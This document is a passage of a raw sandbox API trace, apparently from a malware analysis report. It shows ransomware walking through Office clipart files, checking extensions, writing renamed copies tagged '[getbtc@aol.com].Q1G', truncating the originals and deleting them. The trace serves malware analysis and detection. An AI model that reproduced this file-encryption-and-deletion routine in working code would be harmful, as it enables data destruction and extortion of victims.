lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString=".xls") returned 4 [0056.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.864] lstrlenW (lpString=".xlsx") returned 5 [0056.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.864] lstrlenW (lpString=".ppt") returned 4 [0056.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.864] lstrlenW (lpString=".zip") returned 4 [0056.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.864] lstrlenW (lpString=".rar") returned 4 [0056.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString=".bz2") returned 4 [0056.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.864] lstrlenW (lpString=".7z") returned 3 [0056.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.865] lstrlenW (lpString=".dbf") returned 4 [0056.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.865] lstrlenW (lpString=".1cd") returned 4 [0056.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0056.865] lstrlenW (lpString=".jpg") returned 4 [0056.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.865] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.865] lstrlenW (lpString="AN04108_.WMF") returned 12 [0056.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.865] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2344) returned 1 [0056.865] CloseHandle (hObject=0x234) returned 1 [0056.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0056.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.866] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.866] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.866] GetLastError () returned 0x0 [0056.866] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x928, lpOverlapped=0x0) returned 1 [0056.867] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x930, lpOverlapped=0x0) returned 1 [0056.868] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0056.868] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.868] SetEndOfFile (hFile=0x190) returned 1 [0056.868] CloseHandle (hObject=0x190) returned 1 [0056.869] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.869] SetEndOfFile (hFile=0x234) returned 1 [0056.869] CloseHandle (hObject=0x234) returned 1 [0056.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0056.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.870] lstrlenW (lpString=".doc") returned 4 [0056.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.870] lstrlenW (lpString=".docx") returned 5 [0056.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.870] lstrlenW (lpString=".pdf") returned 4 [0056.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.870] lstrlenW (lpString=".xls") returned 4 [0056.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.870] lstrlenW (lpString=".xlsx") returned 5 [0056.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.870] lstrlenW (lpString=".ppt") returned 4 [0056.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.870] lstrlenW (lpString=".zip") returned 4 [0056.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.870] lstrlenW (lpString=".rar") returned 4 [0056.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.870] lstrlenW (lpString=".bz2") returned 4 [0056.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.870] lstrlenW (lpString=".7z") returned 3 [0056.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.870] lstrlenW (lpString=".dbf") returned 4 [0056.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.871] lstrlenW (lpString=".1cd") returned 4 [0056.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.871] lstrlenW (lpString=".jpg") returned 4 [0056.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.871] lstrlenW (lpString=".doc") returned 4 [0056.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.871] lstrlenW (lpString=".docx") returned 5 [0056.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.871] lstrlenW (lpString=".pdf") returned 4 [0056.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.871] lstrlenW (lpString=".xls") returned 4 [0056.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.871] lstrlenW (lpString=".xlsx") returned 5 [0056.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.871] lstrlenW (lpString=".ppt") returned 4 [0056.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.871] lstrlenW (lpString=".zip") returned 4 [0056.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.871] lstrlenW (lpString=".rar") returned 4 [0056.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.871] lstrlenW (lpString=".bz2") returned 4 [0056.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.871] lstrlenW (lpString=".7z") returned 3 [0056.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.871] lstrlenW (lpString=".dbf") returned 4 [0056.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.871] lstrlenW (lpString=".1cd") returned 4 [0056.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0056.872] lstrlenW (lpString=".jpg") returned 4 [0056.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.872] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.872] lstrlenW (lpString="AN04117_.WMF") returned 12 [0056.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.872] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=6060) returned 1 [0056.872] CloseHandle (hObject=0x234) returned 1 [0056.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0056.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0056.872] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.872] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.873] GetLastError () returned 0x0 [0056.873] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x17ac, lpOverlapped=0x0) returned 1 [0056.874] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0056.875] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0056.875] WriteFile (in: hFile=0x190, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.875] SetEndOfFile (hFile=0x190) returned 1 [0056.875] CloseHandle (hObject=0x190) returned 1 [0056.875] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.875] SetEndOfFile (hFile=0x234) returned 1 [0056.876] CloseHandle (hObject=0x234) returned 1 [0056.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0057.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.153] lstrlenW (lpString=".doc") returned 4 [0057.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.153] lstrlenW (lpString=".docx") returned 5 [0057.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.153] lstrlenW (lpString=".pdf") returned 4 [0057.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.153] lstrlenW (lpString=".xls") returned 4 [0057.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.153] lstrlenW (lpString=".xlsx") returned 5 [0057.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.153] lstrlenW (lpString=".ppt") returned 4 [0057.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.153] lstrlenW (lpString=".zip") returned 4 [0057.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.153] lstrlenW (lpString=".rar") returned 4 [0057.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.153] lstrlenW (lpString=".bz2") returned 4 [0057.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.153] lstrlenW (lpString=".7z") returned 3 [0057.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.153] lstrlenW (lpString=".dbf") returned 4 [0057.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.153] lstrlenW (lpString=".1cd") returned 4 [0057.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.154] lstrlenW (lpString=".jpg") returned 4 [0057.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.154] lstrlenW (lpString=".doc") returned 4 [0057.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString=".docx") returned 5 [0057.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.154] lstrlenW (lpString=".pdf") returned 4 [0057.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString=".xls") returned 4 [0057.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.154] lstrlenW (lpString=".xlsx") returned 5 [0057.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.154] lstrlenW (lpString=".ppt") returned 4 [0057.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.154] lstrlenW (lpString=".zip") returned 4 [0057.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.154] lstrlenW (lpString=".rar") returned 4 [0057.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString=".bz2") returned 4 [0057.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString=".7z") returned 3 [0057.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.154] lstrlenW (lpString=".dbf") returned 4 [0057.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.154] lstrlenW (lpString=".1cd") returned 4 [0057.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0057.154] lstrlenW (lpString=".jpg") returned 4 [0057.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.155] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.155] lstrlenW (lpString="AN04326_.WMF") returned 12 [0057.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.155] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=3348) returned 1 [0057.155] CloseHandle (hObject=0x234) returned 1 [0057.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0057.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.155] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.155] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.156] GetLastError () returned 0x0 [0057.156] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0xd14, lpOverlapped=0x0) returned 1 [0057.157] WriteFile (in: hFile=0x168, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xd20, lpOverlapped=0x0) returned 1 [0057.158] ReadFile (in: hFile=0x234, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.158] WriteFile (in: hFile=0x168, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.158] SetEndOfFile (hFile=0x168) returned 1 [0057.158] CloseHandle (hObject=0x168) returned 1 [0057.158] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.158] SetEndOfFile (hFile=0x234) returned 1 [0057.159] CloseHandle (hObject=0x234) returned 1 [0057.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0057.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.160] lstrlenW (lpString=".doc") returned 4 [0057.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.160] lstrlenW (lpString=".docx") returned 5 [0057.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.160] lstrlenW (lpString=".pdf") returned 4 [0057.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.160] lstrlenW (lpString=".xls") returned 4 [0057.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.160] lstrlenW (lpString=".xlsx") returned 5 [0057.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.160] lstrlenW (lpString=".ppt") returned 4 [0057.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.160] lstrlenW (lpString=".zip") returned 4 [0057.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.160] lstrlenW (lpString=".rar") returned 4 [0057.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.160] lstrlenW (lpString=".bz2") returned 4 [0057.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.160] lstrlenW (lpString=".7z") returned 3 [0057.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.160] lstrlenW (lpString=".dbf") returned 4 [0057.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.160] lstrlenW (lpString=".1cd") returned 4 [0057.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.160] lstrlenW (lpString=".jpg") returned 4 [0057.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.161] lstrlenW (lpString=".doc") returned 4 [0057.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.161] lstrlenW (lpString=".docx") returned 5 [0057.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.161] lstrlenW (lpString=".pdf") returned 4 [0057.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.161] lstrlenW (lpString=".xls") returned 4 [0057.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.161] lstrlenW (lpString=".xlsx") returned 5 [0057.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.161] lstrlenW (lpString=".ppt") returned 4 [0057.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0057.161] lstrlenW (lpString=".zip") returned 4 [0057.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.161] lstrlenW (lpString=".rar") returned 4 [0057.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.161] lstrlenW (lpString=".bz2") returned 4 [0057.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 